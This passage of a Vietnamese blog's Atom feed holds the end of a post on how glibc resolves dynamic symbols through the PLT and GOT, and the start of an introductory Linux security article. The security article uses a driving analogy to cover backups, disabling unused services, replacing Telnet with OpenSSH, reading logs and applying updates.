/&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Tại thời gian việc thực thi nhảy vào thường trình phân giải biểu tượng, chúng ta có địa chỉ của bản đồ liên kết và khoảng trống định vị lại trong ngăn xếp. Khoảng trống định vị lại đã được nói ở trên đưa ra chỉ mục trong bảng biểu tượng cho tên biểu tưọng và tưong ứng với địa chỉ &lt;strong&gt;GOT&lt;/strong&gt;, nơi các địa chỉ phân giải sẽ được ghi. Điạ chỉ phân giải đối tượng (&lt;strong&gt;GOT+8&lt;/strong&gt;) trỏ tới một trampoline &lt;em&gt;ELF_MACHINE_RUNTIME_TRAMPOLINE&lt;/em&gt;. &lt;br&gt;&lt;br&gt;Hãy xem &lt;em&gt;ELF_MACHINE_RUNTIME_TRAMPOLINE&lt;/em&gt; được định nghĩa trong &lt;em&gt;dl-machine.h&lt;/em&gt;. Mã lệnh duy trì các thanh ghi và thực hiện lời gọi tới hàm &lt;em&gt;&lt;strong&gt;fixup()&lt;/strong&gt;&lt;/em&gt;. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="6" cellspacing="0" width="90%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;movl 16(%esp), %edx # Copy args pushed by PLT in register. Note &lt;br&gt;movl 12(%esp), %eax # that `fixup' takes its parameters in regs. &lt;br&gt;call fixup # Call resolver.&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Hàm &lt;strong&gt;&lt;em&gt;fixup()&lt;/em&gt;&lt;/strong&gt; được định nghĩa trong &lt;em&gt;dl-runtime.c&lt;/em&gt;. &lt;br&gt;&lt;br&gt;Mảng &lt;em&gt;l_info&lt;/em&gt; bên trong cấu trúc &lt;em&gt;link_map&lt;/em&gt; bao gồm các con trỏ chỉ mục trỏ tới khu vực động: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="6" cellspacing="0" width="90%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;const ElfW(Sym) *const symtab &lt;br&gt;= (const void *) D_PTR (l, l_info[DT_SYMTAB]); &lt;br&gt;const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); &lt;br&gt;&lt;br&gt;const PLTREL *const reloc &lt;br&gt;= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); &lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Từ&lt;em&gt; l_info&lt;/em&gt; mã lệnh lưu trữ các con trỏ trỏ tới bảng biểu tượng và bảng định vị lại vị trí. Nó tính toán đường vào định vị lại cho biểu tượng bằng cách thêm khoảng trống định vị lại để sắp xếp việc định vị lại vị trí. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="6" cellspacing="0" width="90%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;const ElfW(Sym) *sym = &amp;amp;symtab[ELFW(R_SYM) (reloc-&amp;gt;r_info)]; &lt;br&gt;void *const rel_addr = (void *)(l-&amp;gt;l_addr + reloc-&amp;gt;r_offset);&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Từ &lt;em&gt;reloc -&amp;gt; r_info&lt;/em&gt;, nó lấy các chỉ mục biểu tượng được dùng để sắp xếp chỉ mục vào bảng biểu tượng và lấy thông tin cũng như địa chỉ được cập nhật từ &lt;em&gt;reloc -&amp;gt; r_offset + l-&amp;gt;l_addr&lt;/em&gt;. &lt;br&gt;&lt;br&gt;Hàm &lt;strong&gt;&lt;em&gt;fixup gọi _dl_lookup_symbol()&lt;/em&gt;&lt;/strong&gt; cho công việc tra tìm với các thông tin trên. &lt;br&gt;&lt;br&gt;Thành phần &lt;strong&gt;&lt;em&gt;_dl_lookup_symbol()&lt;/em&gt;&lt;/strong&gt; khi trả lại lại gọi &lt;strong&gt;&lt;em&gt;do_lookup()&lt;/em&gt;&lt;/strong&gt; cho từng đường vào trong mảng scope. Mảng scope bao gồm các phần tử thuộc kiểu cấu trúc &lt;em&gt;r_scope_elem&lt;/em&gt; cho các thư viện. Nó được xác định như là một phần của phạm vi tìm kiếm mở rộng. Cấu trúc này được làm đầy tại thời gian tải. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="6" cellspacing="0" width="90%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;struct r_scope_elem &lt;br&gt;{ &lt;br&gt;/* Array of maps for the scope. */ &lt;br&gt;struct link_map **r_list; &lt;br&gt;/* Number of entries in the scope. */ &lt;br&gt;unsigned int r_nlist; &lt;br&gt;};&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Lời gọi &lt;em&gt;do_lookup&lt;/em&gt; được định nghĩa cho &lt;strong&gt;&lt;em&gt;FCT&lt;/em&gt;&lt;/strong&gt; trong &lt;em&gt;do-lookup.h&lt;/em&gt;. Bây giờ hãy xem xét một chút về nó từ một phối cảnh logic trong tiếng Anh thuần tuý, để làm cho nó dễ hiểu hơn. Thực hiện như sau: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="6" cellspacing="0" width="90%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;Do_lookup algorithm() &lt;br&gt;{ &lt;br&gt;For each of the link_map structures in scope-&amp;gt;r_list &lt;br&gt;do{ &lt;br&gt;Get the symtable address from link_map-&amp;gt;l_info &lt;br&gt;Get the strtable address from link_map-&amp;gt;l_info&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Tìm kiếm hash buket thích hợp trong các đối tượng bảng biểu tượng dùng thủ tục băm tên biểu tượng trong &lt;em&gt;&lt;strong&gt;_dl_lookup_symbol()&lt;/strong&gt;&lt;/em&gt;. &lt;br&gt;&lt;br&gt;Dùng đường dẫn chỉ mục trong chuỗi&amp;nbsp;&lt;em&gt;link_map&amp;nbsp; -&amp;gt; l_chain&lt;/em&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#800000"&gt;Do { &lt;br&gt;Tra tìm đường dẫn bảng biểu tượng dùng chỉ mục. So ánh tên biểu tượng với (strtab + sym-&amp;gt;st_name). &lt;br&gt;Nếu tìm thấy, trả lại đường vào bảng biểu tượng với cấu trúc link_map; &lt;br&gt;} &lt;br&gt;} &lt;br&gt;&lt;/font&gt;&lt;br&gt;Bây giờ hãy trở lại hàm &lt;strong&gt;&lt;em&gt;fixup()&lt;/em&gt;&lt;/strong&gt;. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="6" cellspacing="0" width="90%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font face="Courier New"&gt;&lt;font color="#800000" size="2"&gt;/*link_map -&amp;gt;l_addr trỏ tới điạc chỉ tải cơ sở */ &lt;br&gt;value = link_map-&amp;gt;l_addr + sym-&amp;gt;st_value &lt;br&gt;&lt;br&gt;/* Cuối cùng, tự sửa plt. */ &lt;br&gt;return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);&lt;/font&gt;&lt;/font&gt; &lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Trở lại dl-machine.h, nó đưa lên các thanh ghi lưư trữ: &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;br /&gt;&lt;table align="center" border="1" cellpadding="6" cellspacing="0" width="90%"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td bgcolor="#ffffcc"&gt;&lt;font color="#800000" face="Courier New" size="2"&gt;xchgl %eax, (%esp) # Get %eax contents and store function address. &lt;br&gt;ret $8 # Jump to function address.&lt;/font&gt; &lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Nếu bạn nhớ, ngoại trừ lời gọi từ hàm chính, tất cả các đưòng dẫn mã lệnh khác là thông qua lệnh nhảy. Điều này tách ngăn xếp ra và thực hiện một lệnh nhảy tới điạ chỉ hàm phân giải. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Kết luận phần một&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Trong phần một chúng ta đã thảo luận cách dùng của liên kết động cho cả môi trường Linux và Windows. nhưng tập trung chủ yếu vào Linux. Thời gian tới, trong phần hai chúng ta sẽ xem xét cẩn thận liên kết động trong Windows cũng như hiện nay với Linux. Nó sẽ gồm tiến trình liên kết lười và bộ giúp đỡ tải trì hoãn. Sau đó chúng ta sẽ xem cách thức tăng tốc độ cho cả hai môi trường như thế nào. &lt;/font&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-4326862037414218507?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/4326862037414218507/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=4326862037414218507' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4326862037414218507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4326862037414218507'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/lin-kt-ng-trong-linux-v-windows.html' title='Liên kết động trong Linux và Windows'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-3720949096934673852</id><published>2008-01-27T05:44:00.000-08:00</published><updated>2008-01-27T05:47:42.453-08:00</updated><title type='text'>Bảo mật Linux cơ sở</title><content type='html'>&lt;p align="justify"&gt;&lt;strong&gt;&lt;font color="#333333"&gt;Thế giới hiện nay vốn tồn tại hai kiểu quan niệm về bảo mật: một bên là những người nghĩ rằng bảo mật máy tính thật vui và thú vị, còn một bên lại cho rằng nó thật bí ẩn và đáng sợ.&lt;/font&gt;&lt;/strong&gt; Các chuyên gia quản trị hệ thống chắc chắn sẽ nói bảo mật máy tính thực sự khá buồn tẻ. Bởi họ phải thường xuyên đọc các file thông tin cơ sở (log file) khô khan và gắn liền với những đêm dài mất ngủ, tâm trạng hoảng hốt khi liên tục chống lại các cuộc tấn công, nguy cơ xâm nhập hệ thống và đôi khi còn có cả những hoạt động điên khùng. &lt;br&gt;&lt;br&gt;Hàng tháng, bạn đọc các file log đều đặn lặp đi lặp lại tin báo giống nhau. Rồi vào một buổi sáng bỗng dưng một cảnh báo lạ khác xuất hiện. Suy nghĩ đầu tiên của bạn là: "&lt;em&gt;Mình đã bị tấn công!&lt;/em&gt;". Muốn xác định xem liệu cuộc tấn công có thành công hay không, bạn lùng sục trong các bản ghi log, kiểm tra file hệ thống, tìm kiếm dấu hiệu khác thường. Nhưng rốt cuộc chẳng có gì xảy ra cả. Cuộc tấn công đã thất bại? Cũng chưa hẳn, có thể kẻ tấn công thông minh hơn bạn. Rồi hàng ngày, hàng tuần bạn tự hỏi không hiểu hàng rào bảo vệ của mình có bị xâm nhập không. Cuối cùng, bạn quên nó và đối phó với cuộc khủng hoảng mới. &lt;br&gt;&lt;br&gt;Bảo mật máy tính, ở một số điểm cũng giống như việc lái xe vậy. Một số người nghĩ rằng lái xe là thú vị, hồi hộp, nhưng số khác lại cho rằng nó nguy hiểm và đáng sợ. Trong lái xe, tôi luôn tuân thủ các quy định đường bộ: đeo dây bảo hiểm, tránh đường có hại, luôn quan sát đường đi, bảo dưỡng định kỳ. Vậy những nguyên tắc tương ứng trong bảo mật trong máy tính thì như thế nào? &lt;br&gt;&lt;br&gt;Xin được thông báo điều đầu tiên là: hầu hết chương trình bảo mật máy tính không mang tính kỹ thuật nặng nề, giống như người lái xe không đòi hỏi phải hiểu chi tiết động cơ hoạt động bên trong như thế nào. Lái xe tốt cũng có thể chán như lái xe tồi, có thể chẳng vui vẻ gì hơn. Bảo mật máy tính đòi hỏi nhiều nỗ lực. Bạn phải thực hiện kiểm tra có phương pháp các chi tiết cần thiết mới có khả năng mang lại hiệu quả cho hệ thống máy tính vốn tẻ nhạt, và có thể dự đoán trước được. Lái xe an toàn và an toàn trong máy tính đều đòi hỏi khả năng kỹ thuật của bạn. Mục đích là giúp bạn tránh những điều có hại ngay từ những bước đầu tiên. Bài báo này có thể giống như một khoá học lái xe an toàn trên đường cao tốc cho bạn vậy. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Bảo hiểm&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Hầu hết các nước trên thế giới đều không cho phép bạn lái xe khi không có bảo hiểm, một phương pháp rất cũ trong việc quản lý và phân phối các nguy hiểm. Leo lên một chiếc ô tô, mức độ rủi ro nguy hiểm gây chết người và tổn thương nghiêm trọng cho bạn gia tăng. Nhưng hầu hết mọi người đều lái xe. Cũng giống như thế, kết nối máy tính với mạng đặt bạn trước nguy cơ bị mất mát hay bị ăn trộm dữ liệu. Nhưng ai cũng đều có vẻ miễn cưỡng nếu buộc phải ngắt kết nối Internet khi có sự cố xảy ra. Là một quản trị viên hệ thống Linux, có thể bạn không dự đoán được nguy hiểm, nhưng luôn quản lý được chúng. &lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;table align="left" border="0" cellpadding="4" cellspacing="2" width="150"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;&lt;br /&gt;            &lt;td&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/Image/112006/09/technology.jpg" align="left"&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;em&gt;&lt;font color="#3366ff"&gt;Nguồn: &lt;strong&gt;tla.ch&lt;/strong&gt;&lt;/font&gt;&lt;/em&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;Trước hết bạn cần biết mức độ tự nhiên của các mối nguy hiểm rồi mới có thể quản lý được chúng. Bảo hiểm ô tô có thể là các hoá đơn thuốc, bảo hiểm nguy cơ cho xe ô tô, các kiện cáo liên quan đến tai nạn, trộm cắp xe. Khi đặt một máy tính vào mạng Internet, những nguy hiểm gì phát sinh cho bạn? &lt;br&gt;&lt;br&gt;Các chuyên gia bảo mật máy tính nói rằng người dùng và người quản trị nên phát triển mô hình đe doạ thử nghiệm để nghiên cứu. Bạn muốn bảo vệ khả năng truy cập mạng, khả năng in hay lưu trữ file? Bạn đang lo lắng về tính cẩn mật của file nào đó trên hệ thống? Bạn đang lo lắng mọi người có thể chỉnh sửa hay phá huỷ dữ liệu? Bạn có muốn hacker xoá website và đe doạ làm méo mó hình ảnh của bạn? &lt;br&gt;&lt;br&gt;Thực thi bảo mật đòi hỏi ít nhất bạn phải hiểu được cái gì đe doạ mình. Các điểm nguy hiểm trong bảo mật không giống như bảo hiểm. &lt;br&gt;&lt;br&gt;Sao lưu trong bảo mật máy tính cũng giống như bảo hiểm ở lái xe: Tuỳ thuộc vào mô hình nguy hiểm và cấu hình hệ thống, các phân vùng khác nhau của thủ tục sao lưu có thể được nhấn mạnh. Nếu hệ thống đang sử dụng là tiêu chuẩn Linux không dùng đĩa CD với một chút tuỳ chỉnh trong các file cấu hình, bạn có thể chỉ cần một đĩa nén để sao lưu file trong thư mục gốc. Nếu tuỳ chỉnh hệ thống mở rộng, bạn cũng có thể sao lưu trong thư mục: &lt;font face="Courier New" size="2"&gt;/etc&lt;/font&gt; và &lt;font face="Courier New" size="2"&gt;/usr/local&lt;/font&gt;. Nếu việc lưu trữ file với cơ chế cài đặt &lt;em&gt;'làm tươi'&lt;/em&gt; đem lại sự chính xác cho hệ thống, bạn có thể thực hiện cơ chế sao lưu đầy đủ thông thường. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Luật đường bộ&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Hầu hết mọi chính phủ trên thế giới đều đòi hỏi bạn phải học luật khi muốn lái xe. Trước khi cấp quyền được lái cho ai đó, họ phải vượt qua bài kiểm tra chứng minh khả năng hiểu luật đường bộ. Còn đối với người dùng mạng, cuốn sách luật cầm tay là các điều khoản dịch vụ trong hợp đồng với nhà cung cấp ISP. Nếu dùng máy tính cho công việc, bạn cũng phải tuân theo các hướng dẫn tổng hợp hay các chính sách tổng hợp. &lt;br&gt;&lt;br&gt;Các điều khoản dịch vụ có thể gồm một mức giới hạn dịch vụ giám sát và thực thi trên mạng, cùng với các điều khoản yêu cầu luật sở hữu trí tuệ khắt khe. Các chính sách tổng hợp đòi hỏi phải có mật khẩu an toàn, việc dùng hệ thống cho các hoạt động không liên quan đến công việc, các hợp đồng bảo mật… &lt;br&gt;&lt;br&gt;Khi là một quản trị viên hệ thống, bạn phải xây dựng một số chính sách như mật khẩu của tổ chức, giải mã lưu lượng mạng, quét tìm lỗ hổng bảo mật trên các máy công ty. Nếu bạn nghĩ rằng đó không phải là vấn đề, hãy đọc về trường hợp của Randal Schwartz và về vụ một số nhân viên CIA gần đây bị kỷ luật vì sử dụng dịch vụ chat không rõ nguồn gốc. Nếu bạn chưa có một chính sách nào, hãy đầu tư phát triển chúng. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Hãy thắt dây an toàn&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Lời khuyên tốt nhất khi tham gia giao thông là bạn nên ở vai trò của một người bộ hành. Hầu hết các xâm phạm bảo mật nguy hiểm nhất lại không phải do hacker, đối thủ cạnh tranh hay tổ chức chính phủ bất chính nào gây ra. Nguyên nhân xuất phát từ chính các nhân viên không thực hiện điều luật quy định. Họ sử dụng mật khẩu tồi trên laptop, đặt chúng vào mạng bảo hiểm ở nhà cũng như trong các cuộc họp… Hãy chắc chắn rằng tất cả các nhân viên hiểu được chính sách của bạn và giúp họ biết được các nguy hiểm cận kề kết hợp với sự xâm phạm của họ. Thậm chí cho dù các xâm phạm không gây hại trực tiếp nhưng chúng trở thành nguyên nhân làm gia tăng mức độ nguy hiểm, chính xác đối ngược lại với những gì bạn đang cố gắng thực hiện. &lt;br&gt;&lt;br&gt;Thắt dây an toàn cũng giống như cân bằng các mối đe doạ: những người bạn luôn nói với tôi về một người nào đó đã bị giết khi anh ta thắt dây an toàn nhưng thay vào đó là được bảo vệ an toàn. Cho dù một trong các câu chuyện đó không phải là sự thực, nhưng cũng có những ngoại lệ, dẫu không phải là nguyên tắc. Những người lái xe thận trọng hay hành khách biết điều đó. Thắt lưng an toàn đã cứu được nhiều người. Tương tự, thực thi một số tính năng bảo mật máy tính có thể khiến bạn phải đối mặt với nhiều thách thức hơn. Có khi chúng trở thành đích nhắm thú vị cho hacker. Một câu hỏi luôn được đặt ra là: "&lt;em&gt;Xét về tổng thể, chừng này làm tăng hay giảm tính bảo mật?&lt;/em&gt;" &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Tránh đường xấu&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="right" border="0" cellpadding="4" cellspacing="2" width="150"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/Image/112006/09/security.jpg" align="left"&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;em&gt;&lt;font color="#3366ff"&gt;Nguồn: &lt;strong&gt;opensource&lt;/strong&gt;&lt;/font&gt;&lt;/em&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;Một chiếc ô tô tốt được thiết kế sao cho có được sức bền càng lớn càng hay. Sức bền trên Internet cũng tương tự với dòng hằng của các chương trình quét mức thấp và các máy dò hacker dùng để tìm kiếm hệ thống có thể xâm nhập. Cách tốt nhất để tránh việc này là giữ một profile thấp. Hầu hết các quản trị viên Linux đều mở nhiều dịch vụ hơn mức cần thiết trong khu vực làm việc. Tôi đã từng chứng kiến hàng loạt máy bị hack qua các bản copy lỗi thời của BIND cài đặt trên hệ thống. Hệ thống đó thậm chí không dùng tên dịch vụ cục bộ. Nếu tính năng 'named' không thực thi, hệ thống sẽ không an toàn. Hãy tắt bất kỳ dịch vụ thừa và gỡ bỏ phần mềm không cần thiết nếu có thể. &lt;br&gt;&lt;br&gt;Nhiều chương trình nguy hiểm đến từ &lt;font face="Courier New" size="2"&gt;inetd&lt;/font&gt;. Bạn có thể tắt chúng bằng cách dẫn giải các dòng phù hợp tương ứng trong thư mục &lt;font face="Courier New" size="2"&gt;/etc/inetd.conf&lt;/font&gt;. Một số hệ thống như Red Hat 7.0 sử dụng &lt;font face="Courier New" size="2"&gt;xinetd&lt;/font&gt; thay thế cho các file cấu hình &lt;font face="Courier New" size="2"&gt;xinetd&lt;/font&gt;, dễ dàng trong sử dụng và cũng dễ dàng tắt các dịch vụ này. Nhiều dịch vụ nguy hiểm khác xuất hiện trong các bản script khởi động ở &lt;font face="Courier New" size="2"&gt;/etc/rc[1-5].d&lt;/font&gt;, &lt;font face="Courier New" size="2"&gt;/etc/init.d/rc[1-5].d&lt;/font&gt;,&amp;nbsp;hay &lt;font face="Courier New" size="2"&gt;/sbin/rc[1-5].d&lt;/font&gt;. (Thư mục này có thể thay đổi tuỳ thuộc vào hệ thống phân phối của bạn), nhưng tốt nhất là nên giới hạn lượng tối thiểu vừa đủ. &lt;br&gt;&lt;br&gt;Cuối cùng là bảo vệ dữ liệu khi được truyền đi trên mạng. Các chương trình như Telnet, FTP truyền tải tất cả mật khẩu và dữ liệu qua mạng dưới dạng văn bản thuần tuý (cleartext). Bất kỳ ai có bộ sniffer mạng đều có thể đọc được chúng. Bạn nên thay thế các gói này bằng &lt;a href="http://www.openssh.com/" target="_blank"&gt;OpenSSH&lt;/a&gt; hoặc một phần mềm nào đó khác bảo vệ dữ liệu bằng cách sử dụng phương pháp mã hoá. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Hãy luôn chú ý tới đường đi&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Một người lái xe giỏi phải luôn quan sát được chướng ngại vật, biết các nguy cơ có thể xảy đến và biết cách xử lý chúng ra sao. Trong bảo mật, danh sách mailing là điểm then chốt để thực hiện điều này. &lt;a href="http://ciac.llnl.gov/" target="_blank"&gt;CIAC&lt;/a&gt; và &lt;a href="http://www.cert.org/" target="_blank"&gt;CERT&lt;/a&gt; sử dụng bộ danh sách mailing mức thấp với thông tin về các nguy cơ bảo mật cho nhiều công ty phát triển Linux như Red Hat, SuSE, Debian và Mandrake. Nếu bạn muốn biết cụ thể hơn các vấn đề diễn ra hàng ngày, &lt;a href="http://www.securityfocus.com/forums/bugtraq/intro.html" target="_blank"&gt;BugTraq&lt;/a&gt; là danh sách mailing hữu hiệu, nơi nhiều vấn đề bảo mật được đưa ra đầu tiên. &lt;br&gt;&lt;br&gt;Để luôn quan sát được những gì đang diễn ra, hãy đọc các file log cơ sở. Đó là điều đầu tiên bạn nên làm mỗi sáng, sau khi kiểm tra e-mail đến. Nếu sử dụng một hệ thống dò tìm xâm nhập như &lt;a href="http://www.snort.org/" target="_blank"&gt;Snort&lt;/a&gt;, bạn cũng nên đọc các file log. Chương trình &lt;a href="http://www.sans.org/giac.htm" target="_blank"&gt;GIAC&lt;/a&gt; (Global Incident Analysis Center) của học viện SANS Institute cho phép bạn tìm ra hệ thống dò tìm xâm nhập không hoạt động của người khá. Đọc file log của các admin khác là một cách thông minh để hiểu các vấn đề cơ sở. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Bảo dưỡng định kỳ&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Ngay cả những chiếc xe an toàn nhất, hiện đại nhất cũng cần phải được kiểm tra và bảo dưỡng định kỳ mới có thể luôn duy trì được khả năng hoạt động tốt nhất của mình. Máy tính cũng vậy. Với các hệ thống Linux, bảo dưỡng định kỳ tức là phải luôn cập nhật bản mới nhất cho phần mềm trong máy. Như với Red Hat Linux chẳng hạn. Thời gian cập nhật cho các bản update mới nhất là khá thường xuyên: một hoặc thậm chí hơn các bản update trong một tuần. &lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="left" border="0" cellpadding="4" cellspacing="2" width="150"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/Image/112006/09/Linux.jpg" align="left"&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;em&gt;&lt;font color="#3366ff"&gt;Nguồn: &lt;strong&gt;norman&lt;/strong&gt;&lt;/font&gt;&lt;/em&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;Mặc dù giữ tốc độ cập nhật liên tục cho phần mềm hệ thống có nhiều thách thức, nhưng điều đó là cần thiết. Hầu hết các hệ thống bị phá hoại xuất phát từ nguyên nhân khai thác các lỗ hổng bảo mật trong phần mềm chưa được update bản mới nhất. Bạn có thể ví nó như một cuộc đua: bạn sẽ tìm thấy các lỗ hổng trước khi vá chúng? Nhiều phân phối Linux hiện nay đều trang bị cơ chế update tự động. Debian và các phân phối liên quan hỗ trợ lệnh &lt;font face="Courier New" size="2"&gt;apt-get update&lt;/font&gt;, Mandrake có MandrakeUpdate và Red Hat có 'up2date'. Sử dụng các chức năng này 